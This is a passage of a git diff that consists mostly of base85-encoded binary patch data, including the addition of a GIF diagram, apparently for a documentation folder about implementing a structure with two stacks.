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
Zo8Hm5;R2BTpZx!y{QsZ)|9_DG{|j;+#IXPX

literal 0
HcmV?d00001

diff --git a/docs/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif b/docs/pics/_u7528_u4E24_u4E2A_u6808_u5B9E_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..dfeff15bcf2f9fdc642a4b3cf29f1ce404d3f37b
GIT binary patch
literal 20480
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
